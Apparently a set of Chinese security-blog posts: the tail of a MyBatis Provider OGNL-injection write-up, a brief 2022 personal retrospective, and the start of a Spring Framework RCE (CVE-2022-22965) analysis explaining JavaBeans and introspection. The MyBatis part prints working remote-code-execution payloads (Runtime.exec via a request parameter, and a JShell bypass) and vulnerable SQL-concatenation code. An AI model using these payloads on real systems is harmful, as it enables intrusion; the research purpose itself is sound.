value="${@java.lang.Math@min(4,10)}" />这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析，也就无法实现OGNL表达式注入${param} 参数中${param} 和 【bind标签里的 value属性】同理，虽然可以传值， 但是存在解析顺序问题，同样无法实现OGNL表达式注入比如存在以下select标签 ： select id,email from Teacher where name = ${name}; 传入的name为：${@java.lang.Math@min(4,10)}那么其解析过程为：首先利用OGNL解析器解析${}标签里的内容，解析完毕以后得到name的变量，传入SQL中：select id,email from Teacher where name = '${@java.lang.Math@min(4,10)}';Provider实现类中的拼接到SQL里的变量在注解部分里，曾经提到： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=#{name}"); } }.toString(); return s; } }可以看到，返回值实际上就是一个SQL语句没错，Provider其实就是要返回一个SQL字符串，只不过用了一些关键字做格式化而已，其实不使用也可以，比如： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=" + name); } }.toString(); return s; } }甚至可以使用String字符串拼接SQL语句： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String sql = "select id,email from Teacher where name = " + name; return sql; } }亦或者使用String.format来处理： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String finalName = String.format(" name in (%s)", name); String sql = new SQL() {{ SELECT("id,email"); FROM("Teacher"); WHERE(finalName); ORDER_BY("id desc"); }}.toString(); System.out.println(sql); return sql; }有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接，如：public String countUserByRolePM(final UserVO userVO) { StringBuffer sb = new StringBuffer(); sb.append("SELECT count(*) FROM ( "); sb.append(" SELECT A.*,count(P.Id) FROM ("); sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " + " LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 "); sb.append(" AND UR.roleId in ("); String[] roleids = userVO.getParaRoleIDS().split(","); if (roleids != null){ for (int i = 0 ; i< roleids.length ; i ++){ String s = roleids[i]; if(i != roleids.length -1){ sb.append("'" + s + "'" + ","); }else{ sb.append("'" + s + "'"); } } } sb.append(")"); if(!StringUtils.isEmpty(userVO.getName())){ sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')"); } if(!StringUtils.isEmpty(userVO.getMobilePhone())){ sb.append(" AND U.mobilePhone = #{mobilePhone}"); } if(!StringUtils.isEmpty(userVO.getCity())){ sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')"); } if(!StringUtils.isEmpty(userVO.getRegion())){ sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')"); } if(!StringUtils.isEmpty(userVO.getPlatformLevel())){ sb.append(" and U.platformLevel = #{platformLevel}"); } if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){ sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)"); } if(!StringUtils.isEmpty(userVO.getState())){ sb.append(" and U.state = #{state}"); } sb.append(" GROUP BY U.id"); sb.append(" ) A"); sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id"); sb.append(" GROUP BY A.id"); sb.append(" ORDER BY A.modifyTime DESC"); sb.append(") as A"); return sb.toString(); }这样形成的SQL语句，实际上就是相当于生成了一个XML文件： select id,email from Teacher where name = 传入的name值 那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢？当然有区别，并且这种区别是本质的正是前文中提到的：解析顺序这种形成的SQL语句会首先进行OGNL表达式，然后再执行查询。以下面的Provider为例： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=" + name); } }.toString(); return s; } }如果我们传入name的值为：${@java.lang.Math@min(4,10)}其流程是这样的：首先生成了SQL语句为：select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};经过一系列的传递，相当于生成（实际上并未生成，直接解析的）了一个如下的XML文件： select id,email from Teacher where name = ${@java.lang.Math@min(4,10)}; 然后进行OGNL表达式解析： select id,email from Teacher where name = '4'; 解析完毕以后得到name的变量，传入SQL中：select id,email from Teacher where name = '4';这也就导致了OGNL表达式注入影响范围mybatis-spring-boot-starter >=2.0.1（mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL）或者Mybatis 全版本或者mybatis-plus-boot-starter >=3.1.1漏洞复现如果在mybatis中存在某个SelectProvider（或者其他的Provider）的方法实例如下： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT(returnSql); FROM("Teacher"); WHERE("name=" + name); } }.toString(); return s; } }对应controller如下：@RequestMapping("selectUserByName") public Teacher getUserOne(String id,String name){ Teacher tea=new Teacher(); tea.setId(id); tea.setName(name); Teacher teacher=userService.findTeacherByName(tea); return teacher; } http://localhost:8080/selectUserByName?id=7&name=%24%7B@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")%7D利用环境下载：链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs漏洞利用限制不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本，而不同的Mybatis版本又使用了不同的OGNL组件版本在 mybatis-spring-boot-starter 组件的2.0.1版本中，其引用的Mybatis版本为3.5.1，对应的OGNL版本为3.2.10，在这个版本中，并未对传入的OGNL表达式反射调用的类进行限制，而在高版本中进行了限制（如mybatis3.5.9，具体从哪个版本开始限制的，没有调查），因此想要在高版本中进行绕过限制，需要一定的技巧，这里只提供一种Java环境大于等于JDK9的通杀payload ，小于9的也可以绕过，具体可以思考从编码入手。${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}总结该漏洞为特殊场景下的利用，只有存在SQL注入的时候，此漏洞才会存在因此可能遇到的情景比较少是一种特定场景下mybatis SQL到RCE的补充利用
2022 总结2022 正式脱离了学校的生活从学生走向了社畜的生活不得不说，感觉时间过得越来越快从每周，到每月，到每个双月，再到每个季度时间眨眼而逝2022年学习的新知识也不少，但主要是不同方向的知识在知识的深度上，没有多少的精进也时常迷茫未来应该如何发展常问自己，自己能有什么做到与众不同的或者做的比别人好的吗到头来也没个答案只是按部就班的来过2022复现了不少有意思的漏洞也发现了很多漏洞一句话总结的话可能用“波澜不惊”形容更合适吧2023，希望自己发现一个牛逼的漏洞
本文首发于跳跳糖社区：http://tttang.com/archive/1532/博客用于备份0x01 写在前面如果需要让你对一套CMS的安全性进行研究分析，你会从哪里入手？或许你会回答代码审计的那一套知识点。那么，如果需要让你要对 Spring Framework 框架的安全性进行研究分析，你会从哪里入手？更宽泛一点，如果需要让你对一个大型的开源组件的安全性进行研究分析，你会从哪里入手？实际上自从 Spring Framework RCE（ CVE-2022-22965 ）漏洞被爆出后，我就在思考这样的一个问题。如果让我去分析这种类似于 Spring Framework 框架的安全性，我能够发现这个漏洞吗？我给自己的结论是不能。分析了主要原因，主要有三点。第一是基础不牢，当你不知道Spring Framework框架内部运行的机制以及其特色的实现原理的时候，你不可能从中找到不足点；这个很容易理解，你都不懂我，你怎么可能会懂我的不足。第二是积累不够，当你都不知道Spring Framework框架曾经出现过哪些问题的时候，你又怎么可能知道曾经出现问题的地方有没有可能被绕过；这一点其实很简单，但也最怕眼高手低，最常有的想法是这都十多年前的漏洞了，看了应该也没啥意思，不如看看最近出现过的新的漏洞。第三是知识的广度，当你都不知道JDK新特性以及新特性如何去使用的时候，你又怎么可能找到绕过的方法；这一点最难去弥补，安全的知识海洋太广了，没有人能够把自己知识的广度做到100%的安全面，但最关键的地方并不在于要做到100%的广度，而是要做到你了解到的广度能够帮你实现目标；那这三点应该如何去解决呢？在文章的末尾我会给出我的见解。下面会从基础知识到漏洞原理到漏洞修复对 Spring Framework RCE漏洞进行分析。0x02 基础知识java.lang.Class在Java中有两种对象：Class对象和实例对象。实例对象是类的实例，通常是通过 new 这个关键字构建的；Class对象是JVM生成用来保存对象的类的信息的；在代码中写的每一个类都是对象，也同是java.lang.Class类的对象。换而言之，每个类都有自己的实例对象，而且也都是Class类的对象。在java.lang.Class类中对Class类的构造方法有相关说明： /* * Private constructor. Only the Java Virtual Machine creates Class objects. * This constructor is not used and prevents the default constructor being * generated. */ private Class(ClassLoader loader, Class<?> arrayComponentType) { // Initialize final field for classLoader. The initialization value of non-null // prevents future JIT optimizations from assuming this final field is null. classLoader = loader; componentType = arrayComponentType; }Private constructor. Only the Java Virtual Machine creates Class objects. This constructor is not used and prevents the default constructor being generated.可以看到，Class类的构造方法是私有构造函数，只有JVM 才可以创建该类的对象。也就是说，我们是没有办法通过 new 的方式声明一个Class对象的，如下图，当我们尝试 new 一个Class对象的时候，会报错：虽然我们无法通过new的方式得到Class类的对象，但是依然有其他方式获得Class类的对象，如：通过类的静态成员变量来获取、通过java.lang.Object.getClass() 方法返回运行时类的对象、通过Class的静态方法forName()获取：可以这样去理解，获取到一个类对象后，就可以调用这个类中的一些方法，当获取到Class对象后，变相的获取了所有Class类的对象，通过调用这个Class类下实例对象的方法，就相当于调用了实例对象的方法。JavaBean在介绍SpringBean之前需要对JavaBean有一定的了解，根据官方的介绍如下：JavaBean 是一种 Java语言写成的可重用组件。写成JavaBean，类必须是具体的和公共的，并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性，long和class方法获取。众所周知，属性名称符合这种模式，其他Java 类可以通过自省机制发现和操作这些JavaBean 的属性。官方的话听起来可能比较难以理解，你只需要知道JavaBean 和一个类在语法上没有区别——如果一个类遵循了JavaBean标准，那么它就是一个 JavaBean。JavaBean标准有以下要求：所有的类必须声明为public，这样才能够被外部所访问；类中所有的属性都必须封装，即：使用private声明；封装的属性如果需要被外部所操作，则必须编写对应的setter、getter方法；一个JavaBean中至少存在一个无参构造方法比如：public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } }这个Person类读写方法符合以下这种命名规范：// 读方法: public Type getXyz() // 写方法: public void setXyz(Type value)那么这个Person类实际上就是一个JavaBean读写方法名分别以get和set开头，并且后接大写字母开头的字段名Xyz因此两个读写方法名分别是getXyz()和setXyz()这里的getName()、getAge()、gsetName()、setAge()就符合了这种规范不过boolean字段比较特殊，它的读方法一般命名为isXyz()：如：// 读方法: public boolean isChild() // 写方法: public void setChild(boolean value)此外，通常把一组对应的读方法（getter）和写方法（setter）称为属性（property）。例如，Person类中的name的属性：对应的读方法是String getName()对应的写方法是setName(String)只有getter的属性称为只读属性（read-only），例如，定义一个age只读属性：对应的读方法是int getAge()无对应的写方法setAge(int)同理，只有setter的属性称为只写属性（write-only），一般只读属性很常见，只写属性不常见。没错，看到这里实际上你也写过很多JavaBean，当我们在编译器中使用 Generate Getters and Setters，在弹出的对话框中选中需要生成getter和setter方法的字段时，就是在创建一个JavaBeanJavaBean主要用来传递数据，是为了把一组数据组合成一个JavaBean便于传输我们可以通过 Java 核心库提供的Introspector来获取一个JavaBean的所有属性以及对应属性的读写方法：import java.beans.BeanInfo; import java.beans.IntrospectionException; import java.beans.Introspector; import java.beans.PropertyDescriptor; public class ClassTest { public static void main(String[] args) throws ClassNotFoundException, IntrospectionException { BeanInfo info = Introspector.getBeanInfo(Person.class); for (PropertyDescriptor pd : info.getPropertyDescriptors()) { System.out.println(pd.getName()); System.out.println(" [*]" + pd.getReadMethod()); System.out.println(" [*]" + pd.getWriteMethod()); } } }运行结果如下图：可以看到运行结果中不但含有Person的Name和Age属性，还有一个名为class的属性，并且在这个属性中还有getClass()的方法，实际上Java Object 类是所有类的父类，也就是说 Java 的所有类都继承了 Object，子类可以使用 Object 的所有方法，这里的class属性就是从Object继承的getClass()方法带来的。内省(Introspector)内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。假设存在一个类：public class Person { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }在Person类中存在为name的属性值，并且存在对应的set/get方法，我们就可以通过set/get方去赋值和取值，这就是默认的规则。Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法，这就是内省。JDK内省类库主要有以下几个：Introspector类将JavaBean中的属性封装起来进行操作。在程序把一个类当做JavaBean来看，就是调用Introspector.getBeanInfo()方法，得到的BeanInfo对象封装了把这个类当做JavaBean看的结果信息，即属性的信息。getPropertyDescriptors()，获得属性的描述，可以采用遍历BeanInfo的方法，来查找、设置类的属性。BeanInfo类BeanInfo是一个接口，具体实现是GenericBeanInfo，通过这个接口可以获取一个类的各种类型的描述符。主要方法：1、BeanDescriptor getBeanDescriptor()，获取JavaBean描述符2、EventSetDescriptor[] getEventSetDescriptors()，获取JavaBean的所有的EventSetDescriptor3、PropertyDescriptor[] getPropertyDescriptors()，获取JavaBean的所有的PropertyDescriptor4、MethodDescriptor[] getMethodDescriptors()，获取JavaBean的所有的MethodDescriptorPropertyDescriptor类PropertyDescriptor类表示JavaBean类通过存储器导出一个属性。主要方法： 1. getPropertyType()，获得属性的Class对象; 2. getReadMethod()，获得用于读取属性值的方法；getWriteMethod()，获得用于写入属性值的方法; 3. hashCode()，获取对象的哈希值; 4. setReadMethod(Method readMethod)，设置用于读取属性值的方法; 5. setWriteMethod(Method writeMethod)，设置用于写入属性值的方法。Introspector和PropertyDescriptor这两个类的比较可以看出，都是需要获得PropertyDescriptor，只是方式不一样：前者需要遍历，后者通过创建对象直接获得，所以使用PropertyDescriptor类更加方便。此外，实际上还有一些三方的内省库，比如Apache的BeanUtils工具包关于内省，我们一定要知道的一点是，由于所有的类都是Object的子类，Object又拥有getClass()方法，Java内省机制认为，只要有 get/set 方法中的其中一个，那么就可以找到class属性。SpringBeanSpring Bean是事物处理组件类和实体类（POJO）对象的总称，是能够被实例化、能够被spring容器管理的java对象。官方的介绍总是有点抽象比较难以理解的。实际上你可以把他当成JavaBean的翻版，但是远比JavaBean约束少且更强大。我们在上面提到了JavaBean要求每个属性都提供getter或setter方法并且还有其他的一些约束条件，但Spring容器对Bean没有特殊要求，不像javaBean一样遵循一些规范，甚至不要求该Bean像标准的JavaBean那样必须为每个属性提供对应的getter和setter方法。虽然Spring对Bean没有特殊要求，但还是建议Spring中的Bean应该尽量满足如下几个原则：尽量为每个Bean实现类提供无参的构造器接受构造注入的Bean，应该提供对应的构造方法接受值注入的Bean，应该提供对应的setter方法，并不强制要求提供对应的getter方法想象一下，把Spring当成一个一个大型的车间工厂，而Spring容器中的Bean就是该车间工厂的产品，并且受到 Spring 容器创建和管理。以前我们要用对象是通过自己new来生产的，但是现在只需要通过Spring这个工厂来代替我们管理生产就行了，我们只需要来使用。当然，我们也不能什么都不做，比如Spring车间工程只能生成牙刷，但是你还需要纸巾，那么你就要去开发纸巾（Bean），并且配置好纸巾所需的材料（Bean中的属性），再让Spring去生产，然后你才可以去使用。对于Spring来说，它要做的就是根据配置文件来创建Bean实例，并调用Bean实例的方法完成依赖注入。简而言之，Spring Bean是Spring框架在运行时管理的对象。Spring Bean是任何Spring应用程序的基本构建块。使用Spring框架时编写的大多数应用程序逻辑代码都将放在Spring Bean中。SpringBean的创建SpringBean的创建和装配的方式由很多种，这里由于篇幅关系不做详细说明了，只做一个通过xml配置文件来创建Bean的示例来简单说明。假设存在一个配置文件内容如下：<?xml version="1.0" encoding="UTF-8"?> <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.springframework.org/schema/beans" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"> <bean id="bean1" class="com.Person"> <constructor-arg value="panda"/> <constructor-arg value="18"/> </bean> </beans>则Spring相当于调用如下代码：Bean bean = new com.Person("panda","18");这看着很简单，但实际上Spring为我们做了很多事情，具体可以借用一张流程图来说明：可以看到实际上核心点主要有以下四步：第一，调用createBeanInstance(String beanName, RootBeanDefinition mbd, Object[] args)方法，来进行bean的创建第二，对于单例模式的bean进行循环依赖的检查第三，调用populateBean(beanName, mbd, instanceWrapper)来实现对刚创建的bean进行属性的填充第四，调用initializeBean(beanName, exposedObject, mbd)来完成bean的初始化SpringBean的使用Bean的使用可以参考网上的一张图，我对它重新画了下：在启动Spring应用程序时，框架首先会创建一个名为ApplicationContext的特殊对象。ApplicationContext，也称为控制反转（IoC）容器，是框架的核心。ApplicationContext也即是存在bean对象的容器，包含了所有需要使用Spring容器托管的bean。BeanFactory 接口定义了 IoC 容器提供的主要功能，在Spring中，一组以 Registry 为后缀的接口定义了Spring Bean的注册功能。这些Registry接口的实现类即为Spring Bean Definition的“家”，所有bean的配置信息都在这些类中，因此，这些实现类可以称之为SpringBean的注册表。在SpringBean要使用时，第一步就是从SpringBean的注册表中获取Bean的配置信息，然后根据配置信息实例化Bean，实例化以后的Bean被映射到了Spring容器中，并且被存储在了Bean Cache池中，当应用程序要使用Bean时，会向Bean Cache池发起调用。SpringBean的属性填充上面介绍了Spring 创建 bean 的流程，即 Spring 先通过反射创建一个原始的 bean 对象，然后再向这个原始的 bean 对象中填充属性。对于填充属性这个过程，简单点来说，JavaBean 的每个属性通常都有 getter/setter 方法，我们可以直接调用 setter 方法将属性值设置进去。当然，这样做还是太简单了，填充属性的过程中还有许多事情要做。比如在 Spring 配置中，所有属性值都是以字符串的形式进行配置的，我们在将这些属性值赋值给对象的成员变量时，要根据变量类型进行相应的类型转换。对于一些集合类的配置，还要将这些配置转换成相应的集合对象才能进行后续的操作。除此之外，如果用户配置了自动注入（autowire = byName/byType），Spring 还要去为自动注入的属性寻找合适的注入项。由此可以见，属性填充的整个过程还是很复杂的，并非是简单调用 setter 方法设置属性值即可。我们在上面的SpringBean的创建中就提到了，属性填充的入口方法 DefaultListableBeanFactory#populateBean，SpringBean的属性填充就是通过调用该方法来实现的。由于篇幅关系就不一步一步从源码的角度来剖析 Spring IOC 对 Bean 属性填充的过程了，这里只对关键点做个介绍。从rootBeanDefinition中获取bean的属性值，并注入这里实际上是自动注入，并且通过AbstractBeanDefinition#getResolvedAutowireMode()返回的值来判断是以什么样的方式注入的：//<1>获取resolvedAutowireMode的编码 int resolvedAutowireMode = mbd.getResolvedAutowireMode(); //如果编码为AUTOWIRE_BY_NAME为1或者AUTOWIRE_BY_TYPE为2 //如果返回的值为1,则是通过名称去注入,如果是2,则是通过类型去注入 if (resolvedAutowireMode == AUTOWIRE_BY_NAME || resolvedAutowireMode == AUTOWIRE_BY_TYPE) { //对PropertyValues属性进行封装成MutablePropertyValues对象 //因为MutablePropertyValues主要是可以对构造函数进行深度的拷贝,以及属性的操作,这样可以保证我们的属性值是独立的 MutablePropertyValues newPvs = new MutablePropertyValues(pvs); // Add property values based on autowire by name if applicable. //根据名称自动注入 if (resolvedAutowireMode == AUTOWIRE_BY_NAME) { autowireByName(beanName, mbd, bw, newPvs); } // Add property values based on autowire by type if applicable. //根据类型自动注入 if (resolvedAutowireMode == AUTOWIRE_BY_TYPE) { autowireByType(beanName, mbd, bw, newPvs); } pvs = newPvs; }实际上，Spring 自动注入是通过某个类的 set 方法来查找 bean, byName 就是根据某个 set 方法所对应的属性名去查找 bean ，byType 就是根据某个 set 方法的参数去找 bean解析注解并注入执行完成 Spring 的自动注入之后，就开始调用 BeanPostProcessor 分别解析 @Autowired、@Resource、@Value 为属性注入值。for (BeanPostProcessor bp : getBeanPostProcessors()) { if (bp instanceof InstantiationAwareBeanPostProcessor) { InstantiationAwareBeanPostProcessor ibp = (InstantiationAwareBeanPostProcessor) bp; // 调用 BeanPostProcessor 分别解析 @Autowired、@Resource、@Value 为属性注入值 // 此处会从后置处理，从里面把依赖的属性，值都拿到。AutowiredAnnotationBeanPostProcessor就是在此处拿出值的 PropertyValues pvsToUse = ibp.postProcessProperties(pvs, bw.getWrappedInstance(), beanName); if (pvsToUse == null) { if (filteredPds == null) { filteredPds =filterPropertyDescriptorsForDependencyCheck(bw, mbd.allowCaching); } pvsToUse = ibp.postProcessPropertyValues(pvs, filteredPds, bw.getWrappedInstance(), beanName); if (pvsToUse == null) { return; } } pvs = pvsToUse; } }完成解析，统一存放在PorpertyValues中在上一步骤中，只会解析依赖，并不会将解析出的依赖立即注入到 bean 对象中。所有的属性值是在 applyPropertyValues 方法中统一被注入到 bean 对象中的。if (pvs != null) { applyPropertyValues(beanName, mbd, bw, pvs); } }在该方法中主要实现以下逻辑：在进行属性值的注入时，如果属性值不需要转换，那么直接进行注入当需要对属性值进行转换时，首先是转换成对应类的属性的属性值，接着设置，最后完成注入这里进行注入的方式是通过调用setPropertyValues实现的，并且这个方法的调用栈的最底部是通过调用对象的 setter 方法进行属性设置的：public class BeanWrapperImpl extends AbstractNestablePropertyAccessor implements BeanWrapper { ...... private class BeanPropertyHandler extends PropertyHandler { public void setValue(final Object object, Object valueToApply) throws Exception { // 获取 writeMethod，也就是 setter 方法 final Method writeMethod = this.pd.getWriteMethod(); if (!Modifier.isPublic(writeMethod.getDeclaringClass().getModifiers()) && !writeMethod.isAccessible()) { writeMethod.setAccessible(true); } final Object value = valueToApply; // 调用 setter 方法，getWrappedInstance() 返回的是 bean 对象 writeMethod.invoke(getWrappedInstance(), value); } } }以上，总结一下，实际上首先是从 beanDefinition 中获取到属性的值，然后将 PropertyValues 属性值封装成 MutablePropertyValues 的对象，经过一系列的处理最后通过 applyPropertyValues 方法将属性应用到具体的bean中。SpringBean的作用域SpringBean的作用域和本文的关系不是太大，但是挺有意思，所以也提一下，做个简单说明。当通过Spring容器创建一个Bean实例时，不仅可以完成Bean的实例化，还可以为Bean指定特定的作用域。Spring支持5种作用域：singleton: 单例模式，当spring创建applicationContext容器的时候，spring会欲初始化所有的该作用域实例，加上lazy-init就可以避免预处理；prototype： 原型模式，每次通过getBean获取该bean就会新产生一个实例，创建后spring将不再对其管理；request： 对于每次HTTP请求，使用request定义的Bean都将产生一个新的实例，即每次HTTP请求都会产生不同的Bean实例。当然只有在WEB应用中使用Spring时，该作用域才真正有效。搞web的大家都应该明白request的域了吧，就是每次请求都新产生一个实例，和prototype不同就是创建后，接下来的管理，spring依然在监听；session: 对于每次HTTPSession，使用session定义的Bean都将产生一个新的实例时，即每次HTTP Session都将产生不同的Bean实例。同HTTP一样，只有在WEB应用才会有效。global session: 全局的web域，类似于servlet中的application。比较常用的是单例模式和原型模式。如果一个Bean实例被设置为单例模式，那么每次请求该Bean时都会获得相同的实例。并且由容器负责跟踪Bean实例的状态，负责维护Bean实例的生命周期行为。如果一个Bean实例被设置为原型模式，那么每次请求该Bean时，Spring都会创建一个新的Bean实例返回给程序，在这种情况下，Spring容器仅仅使用new关键字创建Bean实例，一旦创建成功，容器将不会再跟踪实例，也不会维护Bean实例的状态。如果我们不指定Bean的作用域，则Spring会默认使用单例模式作用域。比如SpringBoot中的Controller，我们如果不定义作用域，那么实际上使用的就是默认的单例模式。正是因为单例，所以其线程不是安全的，如果使用非静态的成员变量就可能造成逻辑漏洞。比如有一个Controller如下：package com.example.beantest.controller; import org.springframework.context.annotation.Scope; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @Controller @ResponseBody public class ScopeTestController { private int code = 0; @RequestMapping("/admin") public String testScope() { ++code; if (code > 0) { return "code:" + code + " " + "You are admin"; }else { return "code:" + code + " " + " You are user"; } } @RequestMapping("/user") public String testScope2() { --code; if (code <= 0) { return "code:" + code + " " + "You are user"; }else { return "code:" + code + " " + "You are admin"; } } }代码逻辑很简单，如果首先访问 http://localhost:8080/admin ，再访问http://localhost:8080/user 则会提示：但如果访问两次http://localhost:8080/admin ，再再访问http://localhost:8080/user 则会提示：可以看到code的值是随着访问admin页面的次数而增加的，当访问两次admin页面后，使得code的值变成了2，也导致了user的逻辑出现了问题。而如果此时我们在@Controller注解的下面添加@Scope("prototype")，即设置作用域为原型模式，那么就不会出现这种问题：可以看到单例是不安全的，会导致属性重复使用。但也不能什么时候都使用原型模式，因为Java在创建Java实例时，需要进行内存申请。销毁实例时，需要完成垃圾回收。这些工作都会导致系统开销的增加。因此，原型模式作用域Bean的创建、销毁代价会比较大。而单例模式作用域的Bean实例一旦创建成功，可以重复使用。因此，除非必要，否则尽量避免将Bean的作用域设置为原型模式。（毕竟上面这种示例代码基本上不会有人那么去写）了解这些基础知识后，基本上就可以来看看这个漏洞是怎么一回事了。0x03 漏洞分析这个漏洞实际上可以算是CVE-2010-1622的绕过，因此这两个漏洞可以一起来分析。假设存在一个Person类如下：public class Person { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }存在一个Controller如下：@Controller @ResponseBody public class IndexController { @GetMapping("index") public String index(Person person){ return "Your name is : "+ person; } }那么如果我们想给index方法传入一个name，应该怎么做？没错，直接请求 http://localohst:8080/index?name=panda当完成请求后，indexController 就会自动把 name=panda 变成对象 person.name 的值。这一切都是自动调用bean属性注入完成的，具体对应的过程实际上就是SpringBean的属性填充的过程。可以跟一下看看，然后当我们启动项目的时候，在populateBean中下断点就可以看到indexController作为bean被初始化装载进了spring容器中完成初始化装载后，当向这个bean设置值的时候，会进入前文中提到的setPropertyValues方法，并最终在BeanPropertyHandler方法中，通过setValue()调用对象的 setter 方法进行属性设置：按理说Person类中只有name这一个属性，但实际并非如此。还记得我们前文中提到的：Java Object 类是所有类的父类，也就是说 Java 的所有类都继承了 Object，子类可以使用 Object 的所有方法，这里的class属性就是从Object继承的getClass()方法带来的。没错，除了name属性外，还有一个名为class的属性，我们可以获取如下：既然有了一个名为class的属性，并且其有一个getClass()的方法，那么可以做什么呢？是的，这便意味着所有的对象都可以通过使用：http://localohst:8080/index?class=xxxx的方式来获取class对象需要注意的是，class的类型并非基础类型，当我们提交了一个基础类型数据的时候，在SpringBean的属性填充过程中的类型转换判断中，就进行了筛除，因此赋值的对象要符合其类型定义才可以，但问题来了，我们提交的值实际上就是一个字符串，没法直接定义一个对象传进去。应该怎么办？我们知道，Object的getClass方法，返回的是一个class对象： public final native Class<?> getClass();并且所有的类都有class属性，都是class的对象。还记得前面说过的：获取到一个类对象后，就可以调用这个类中的一些方法，当获取到Class对象后，变相的获取了所有Class类的对象，通过调用这个Class类下实例对象的方法，就相当于调用了实例对象的方法。那么在这些对象中存在可用的setXxxxx的方法，就可以通过调用class对象的方式，去调用setXxxxx的方法。现在就来找一下class中有没有这种属性： @Test public void test() throws IntrospectionException { BeanInfo info = Introspector.getBeanInfo(Class.class); for (PropertyDescriptor pd : info.getPropertyDescriptors()) { System.out.println(pd.getName()); System.out.println(" [*]" + pd.getReadMethod()); System.out.println(" [*]" + pd.getWriteMethod()); } }可以看到很多：annotatedInterfaces [*]public java.lang.reflect.AnnotatedType[] java.lang.Class.getAnnotatedInterfaces() [*]null annotatedSuperclass [*]public java.lang.reflect.AnnotatedType java.lang.Class.getAnnotatedSuperclass() [*]null annotation [*]public boolean java.lang.Class.isAnnotation() [*]null annotations [*]public java.lang.annotation.Annotation[] java.lang.Class.getAnnotations() [*]null anonymousClass [*]public boolean java.lang.Class.isAnonymousClass() [*]null array [*]public native boolean java.lang.Class.isArray() [*]null canonicalName [*]public java.lang.String java.lang.Class.getCanonicalName() [*]null class [*]public final native java.lang.Class java.lang.Object.getClass() [*]null classLoader [*]public java.lang.ClassLoader java.lang.Class.getClassLoader() [*]null classes [*]public java.lang.Class[] java.lang.Class.getClasses() [*]null componentType [*]public native java.lang.Class java.lang.Class.getComponentType() [*]null constructors [*]public java.lang.reflect.Constructor[] java.lang.Class.getConstructors() throws java.lang.SecurityException [*]null declaredAnnotations [*]public java.lang.annotation.Annotation[] java.lang.Class.getDeclaredAnnotations() [*]null declaredClasses [*]public java.lang.Class[] java.lang.Class.getDeclaredClasses() throws java.lang.SecurityException [*]null declaredConstructors [*]public java.lang.reflect.Constructor[] java.lang.Class.getDeclaredConstructors() throws java.lang.SecurityException [*]null declaredFields [*]public java.lang.reflect.Field[] java.lang.Class.getDeclaredFields() throws java.lang.SecurityException [*]null declaredMethods [*]public java.lang.reflect.Method[] java.lang.Class.getDeclaredMethods() throws java.lang.SecurityException [*]null declaringClass [*]public java.lang.Class java.lang.Class.getDeclaringClass() throws java.lang.SecurityException [*]null enclosingClass [*]public java.lang.Class java.lang.Class.getEnclosingClass() throws java.lang.SecurityException [*]null enclosingConstructor [*]public java.lang.reflect.Constructor java.lang.Class.getEnclosingConstructor() throws java.lang.SecurityException [*]null enclosingMethod [*]public java.lang.reflect.Method java.lang.Class.getEnclosingMethod() throws java.lang.SecurityException [*]null enum [*]public boolean java.lang.Class.isEnum() [*]null enumConstants [*]public java.lang.Object[] java.lang.Class.getEnumConstants() [*]null fields [*]public java.lang.reflect.Field[] java.lang.Class.getFields() throws java.lang.SecurityException [*]null genericInterfaces [*]public java.lang.reflect.Type[] java.lang.Class.getGenericInterfaces() [*]null genericSuperclass [*]public java.lang.reflect.Type java.lang.Class.getGenericSuperclass() [*]null interface [*]public native boolean java.lang.Class.isInterface() [*]null interfaces [*]public java.lang.Class[] java.lang.Class.getInterfaces() [*]null localClass [*]public boolean java.lang.Class.isLocalClass() [*]null memberClass [*]public boolean java.lang.Class.isMemberClass() [*]null methods [*]public java.lang.reflect.Method[] java.lang.Class.getMethods() throws java.lang.SecurityException [*]null modifiers [*]public native int java.lang.Class.getModifiers() [*]null name [*]public java.lang.String java.lang.Class.getName() [*]null package [*]public java.lang.Package java.lang.Class.getPackage() [*]null primitive [*]public native boolean java.lang.Class.isPrimitive() [*]null protectionDomain [*]public 